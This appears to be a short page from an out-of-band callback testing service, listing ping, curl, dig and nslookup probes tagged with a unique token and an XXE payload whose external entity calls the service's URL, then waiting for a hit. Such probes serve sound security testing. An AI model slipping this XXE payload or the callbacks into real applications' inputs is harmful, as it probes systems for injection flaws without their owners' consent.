$ ping -c1 -p 00a46158ea59bd1d83eb68396f1b8e00 unhack.ca
 
$ curl http://unhack.ca/p/a46158ea59bd1d83eb68396f1b8e
 
$ dig a46158ea59bd1d83eb68396f1b8e @unhack.ca
 
$ dig a46158ea59bd1d83eb68396f1b8e.ns.unhack.ca
 
C:\> nslookup a46158ea59bd1d83eb68396f1b8e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a46158ea59bd1d83eb68396f1b8e">]>
    <foo>&xxe;</foo>
Waiting for ping...